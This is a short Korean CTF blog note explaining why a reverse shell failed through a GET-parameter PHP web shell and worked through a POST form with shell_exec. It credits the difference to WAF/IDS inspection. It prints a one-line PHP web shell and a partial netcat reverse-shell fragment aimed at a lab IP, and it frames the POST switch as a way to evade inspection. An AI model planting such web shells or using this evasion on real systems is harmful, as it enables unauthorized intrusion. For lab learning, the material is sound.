reverse shell bypass WAF tip1

agnusdei·2025년 11월 23일

CTF

목록 보기
170/185

🔍 리버스 쉘 성공/실패의 원인 분석

원인은 **방화벽(Firewall)**이나 **Intrusion\text{Intrusion} Detection\text{Detection} System\text{System} (IDS\text{IDS})**이 HTTP\text{HTTP} GET\text{GET} 요청HTTP\text{HTTP} POST\text{POST} 요청을 다르게 처리하기 때문일 가능성이 가장 높습니다.

1. GET\text{GET} 방식 실패의 의심 원인: IDS\text{IDS} 또는 웹 서버 설정

원래 파일: <?php system($_GET['cmd']); ?>

  • 웹 애플리케이션 방화벽 (WAF\text{WAF}) 또는 IDS\text{IDS} 차단: 보안 솔루션은 URL\text{URL}(GET\text{GET} 요청)을 통해 들어오는 데이터(query parameter)를 가장 먼저, 그리고 가장 철저하게 검사합니다.
    • ?cmd=...nc 192.168.130.36...와 같이 URL\text{URL}에 **nc**나 IP\text{IP} 주소가 포함된 문자열이 탐지되면, 이를 Reverse\text{Reverse} Shell\text{Shell} 시도로 판단하고 HTTP\text{HTTP} 요청 자체를 차단하거나 서버의 명령 실행을 막았을 수 있습니다.
  • URL\text{URL} 길이 제한: Reverse\text{Reverse} Shell\text{Shell} 페이로드는 길기 때문에, GET\text{GET} 요청의 URL\text{URL} 문자열 길이 제한에 걸려 명령어가 잘렸을 가능성도 있습니다.

2. POST\text{POST} 방식 성공의 원인: 검사 우회

새로 업로드한 파일: HTML\text{HTML} Form\text{Form}을 이용한 POST\text{POST} 방식 + shell_exec 사용

  • IDS\text{IDS}/WAF\text{WAF} 검사 우회: POST\text{POST} 요청의 **본문 (Body)**에 담긴 데이터는 URL\text{URL}에 노출되지 않기 때문에, 많은 IDS\text{IDS}/WAF\text{WAF}GET\text{GET} 요청만큼 철저하게 검사하지 않는 경향이 있습니다.
    • 즉, cmd 필드에 리버스 쉘 페이로드가 들어있지만, 보안 솔루션이 POST\text{POST} 본문 깊숙이 있는 데이터를 분석하지 못하고 통과시켰을 가능성이 높습니다.
  • HTTP\text{HTTP} 프로토콜 차이: 보안 장비가 GET\text{GET} 요청을 처리하는 방식과 POST\text{POST} 요청을 처리하는 방식에 근본적인 차이가 있었을 수 있습니다.

3. shell_exec\text{shell\_exec} vs system\text{system}의 차이는 아님

shell_execsystemPHP\text{PHP}에서 외부 명령을 실행하는 함수이지만, 리버스 쉘이 연결되느냐 마느냐를 결정하는 네트워크 통신 문제와는 직접적인 관련이 없습니다. 두 함수 모두 쉘 명령을 실행하는 역할을 수행합니다.

🎯 결론: WAF\text{WAF} 우회 성공

Reverse\text{Reverse} Shell\text{Shell} 연결이 실패했던 진짜 원인은 TCP\text{TCP} 포트 차단이 아니라 (물론 그것도 있을 수 있지만), URL\text{URL}위험한 명령어 문자열이 노출되는 것을 감지하는 보안 시스템 때문이었을 가능성이 큽니다.

POST\text{POST} 요청으로 전환하여 해당 보안 검사를 성공적으로 우회한 것입니다. 이제 TTY\text{TTY} 쉘 업그레이드를 통해 안정적인 세션을 확보하고 다음 단계를 진행할 수 있습니다.

profile
DevSecOps, Pentest, Cloud(OpenStack), Develop, Data Engineering, AI-Agent

0개의 댓글